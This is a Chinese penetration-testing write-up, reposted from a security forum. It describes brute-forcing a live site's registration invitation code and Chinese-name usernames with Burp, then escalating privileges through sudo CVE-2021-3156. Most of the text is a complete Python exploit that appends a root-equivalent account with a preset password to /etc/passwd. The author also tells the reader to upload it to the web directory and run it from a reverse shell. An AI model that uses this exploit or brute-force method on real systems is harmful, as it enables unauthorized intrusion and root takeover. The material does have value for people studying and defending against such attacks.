0x01 打点
开局又是一个登录框,扫了目录没有其他入口。难道又要祭出拿手绝招(爆破弱口令吗),思路清晰,开搞。
直接上来爆破弱口令是行不通的,因为不知道账号规则去胡乱爆破一通,很容易被对方防护设备拦截到把自身的IP地址暴露或者被封禁。
看到有一个立即注册和忘记密码觉得可以搞一搞。
首先打开立即注册页面
可以看到我们可以去注册一个账号,输入账号、密码、手机号来注册尝试一下。(输入账号的时候尝试输入英文字母和数字是无法输入的,只能输入汉字,这点可以猜测账号是中文。)
之前以为这个邀请码是随便输入的,看来是不行的,用burp爆破一下邀请码吧。
不过我们之前注册账号的时候可以得知:账号命名规则是中文,那我们用burp来导入常见中文姓名来尝试爆破。
可以看到中文账号这里是经过url编码的,如果我们直接把中文导入burp是会乱码的,像这样。
我们需要把中文姓名经过URL编码之后再导入,用站长之家的在线工具就行
先把原有的清空,然后输入我们想匹配的字符串,想要匹配中文字符的话可以先把中文字符转换成十六进制,然后通过正则匹配。
我们来匹配密码不正确的,使用python把密码不正确转换成十六进制
0x02 提权
sudo本地提权漏洞(CVE-2021-3156)
Sudo是一个功能强大的工具,其允许普通用户执行root权限命令,大多数基于Unix和Linux的操作系统都包含sudo。
Sudo 1.8.2 - 1.8.31p2Sudo 1.9.0 - 1.9.5p1
查看一下sudo的版本,可以看到这个版本是存在漏洞的。
纠正一点,网上有的说“使用sudoedit -s /命令,如果出现以“ sudoedit:”开头的错误响应,则系统受到此漏洞影响;如果出现以“ usage:”开头的错误响应,则表示该漏洞已被补丁修复”这个说法是不准确的。
具体的大家可以自己尝试,不要因为没有显示“sudoedit”就觉得不存在漏洞。
使用一个python脚本
#!/usr/bin/pythonimport osimport sysimport resourcefrom struct import packfrom ctypes import cdll, c_char_p, POINTERSUDO_PATH = b"/usr/bin/sudo"PASSWD_PATH = '/etc/passwd'APPEND_CONTENT = b"aa:$5$AZaSmJBP$lsgF8hex//kd.G4XxUJGaS618ZtYoQ796UpkM/8Ucm3:0:0:gg:/root:/bin/bash\n";#STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabledSTACK_ADDR_PAGE = 0x7fffe5d35000libc = cdll.LoadLibrary("libc.so.6")libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)def execve(filename, cargv, cenvp):libc.execve(filename, cargv, cenvp)def spawn_raw(filename, cargv, cenvp):pid = os.fork()if pid:# parent_, exit_code = os.waitpid(pid, 0)return exit_codeelse:# childexecve(filename, cargv, cenvp)exit(0)def spawn(filename, argv, envp):cargv = (c_char_p * len(argv))(*argv)cenvp = (c_char_p * len(env))(*env)return spawn_raw(filename, cargv, cenvp)resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))# expect large hole for cmnd size is correctTARGET_CMND_SIZE = 0x1b50argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ]SA = STACK_ADDR_PAGEADDR_REFSTR = pack('<Q', SA+0x20) # ref stringADDR_PRIV_PREV = pack('<Q', SA+0x10)ADDR_CMND_PREV = pack('<Q', SA+0x18) # cmndspecADDR_MEMBER_PREV = pack('<Q', SA+0x20)ADDR_DEF_VAR = pack('<Q', SA+0x10)ADDR_DEF_BINDING = pack('<Q', SA+0x30)OFFSET = 0x30 + 0x20ADDR_USER = pack('<Q', SA+OFFSET)ADDR_MEMBER = pack('<Q', SA+OFFSET+0x40)ADDR_CMND = pack('<Q', SA+OFFSET+0x40+0x30)ADDR_PRIV = pack('<Q', SA+OFFSET+0x40+0x30+0x60)# for sprayingepage = ['A'*0x8 + # to not ending with 0x00# fake def->var chunk (get freed)'\x21', '', '', '', '', '', '',ADDR_PRIV[:6], '', # pointer to privilegeADDR_CMND[:6], '', # pointer to cmndspecADDR_MEMBER[:6], '', # pointer to member# fake def->binding (list head) (get freed)'\x21', '', '', '', '', '', '','', '', '', '', '', '', '', '', # members.first'A'*0x10 + # members.last, pad# userspec chunk (get freed)'\x41', '', '', '', '', '', '', # chunk metadata'', '', '', '', '', '', '', '', # entries.tqe_next'A'*8 + # entries.tqe_prev'', '', '', '', '', '', '', '', # users.tqh_firstADDR_MEMBER[:6]+'', '', # users.tqh_last'', '', '', '', '', '', '', '', # privileges.tqh_firstADDR_PRIV[:6]+'', '', # privileges.tqh_last'', '', '', '', '', '', '', '', # comments.stqh_first# member chunk'\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any)'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any)ADDR_MEMBER_PREV[:6], '', # member.tqe_prev, userspec.file (ref string)'A'*8 + # member.name (can be any because this object is not freed)pack('<H', 284), '', # type, negated'A'*0xc+ # padding# cmndspec chunk'\x61'*0x8 + # chunk metadata (need only prev_inuse flag)'A'*0x8 + # entries.tqe_nextADDR_CMND_PREV[:6], '', # entries.teq_prev'', '', '', '', '', '', '', '', # runasuserlist'', '', '', '', '', '', '', '', # runasgrouplistADDR_MEMBER[:6], '', # cmnd'\xf9'+'\xff'*0x17+ # tag (NOPASSWD), timeout, notbefore, notafter'', '', '', '', '', '', '', '', # role'', '', '', '', '', '', '', '', # type'A'*8 + # padding# privileges chunk'\x51'*0x8 + # chunk metadata'A'*0x8 + # entries.tqe_nextADDR_PRIV_PREV[:6], '', # entries.teq_prev'A'*8 + # ldap_role'A'*8 + # hostlist.tqh_firstADDR_MEMBER[:6], '', # hostlist.teq_last'A'*8 + # cmndlist.tqh_firstADDR_CMND[:6], '', # cmndlist.teq_last]cnt = sum(map(len, epage))padlen = 4096 - cnt - len(epage)epage.append('P'*(padlen-1))env = ["A"*(7+0x4010 + 0x110) + # overwrite until first defaults"\x21\\", "\\", "\\", "\\", "\\", "\\", "\\","A"*0x18 +# defaults"\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # next'a'*8 + # prevADDR_DEF_VAR[:6]+'\\', '\\', # var"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # valADDR_DEF_BINDING[:6]+'\\', '\\', # bindingADDR_REFSTR[:6]+'\\', '\\', # file"Z"*0x8 + # type, op, error, lineno"\x31\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size (just need valid)'C'*0x638+ # need prev_inuse and overwrite until userspec'B'*0x1b0+# userspec chunk# this chunk is not used because list is traversed with curr->prev->prev->next"\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk sizeADDR_USER[:6]+'\\', '\\', # entries.tqe_next points to fake userspec in stack"A"*8 + # entries.tqe_prev"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # users.tqh_firstADDR_MEMBER[:6]+'\\', '\\', # users.tqh_last"\\", "\\", "\\", "\\", "\\", "\\", "\\", "", # privileges.tqh_first"LC_ALL=C","SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd"TZ=:",]ENV_STACK_SIZE_MB = 4for i in range(ENV_STACK_SIZE_MB * 1024 / 4):env.extend(epage)# last element. prepare space for '/usr/bin/sudo' and extra 8 bytesenv[-1] = env[-1][:-len(SUDO_PATH)-1-8]env.append(None)cargv = (c_char_p * len(argv))(*argv)cenvp = (c_char_p * len(env))(*env)# write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"r, w = os.pipe()os.dup2(r, 0)w = os.fdopen(w, 'w')w.write(APPEND_CONTENT)w.close()null_fd = os.open('/dev/null', os.O_RDWR)os.dup2(null_fd, 2)for i in range(8192):sys.stdout.write('%d\r' % i)if i % 8 == 0:sys.stdout.flush()exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)if exit_code == 0:print("success at %d" % i)break
这个脚本使用python2运行,部分centos自带python的。把脚本上传到网站目录,然后反弹一个交互shell,运行脚本。
成功后会生成一个aa的用户,默认密码为www
0x03 结论
善于运用工具可以为渗透带来极大的便利,尤其是BURP是一个非常强大的工具,这次渗透就是运用了BURP的各种功能,还有很多功能也是非常好用的,大家可以多研究。
文章来源:奇安信攻防社区(带头小哥)原文地址:https://forum.butian.net/share/1096排版:潇湘信安
点击下方小卡片或扫描下方二维码观看更多技术文章
师傅们点赞、转发、在看就是最大的支持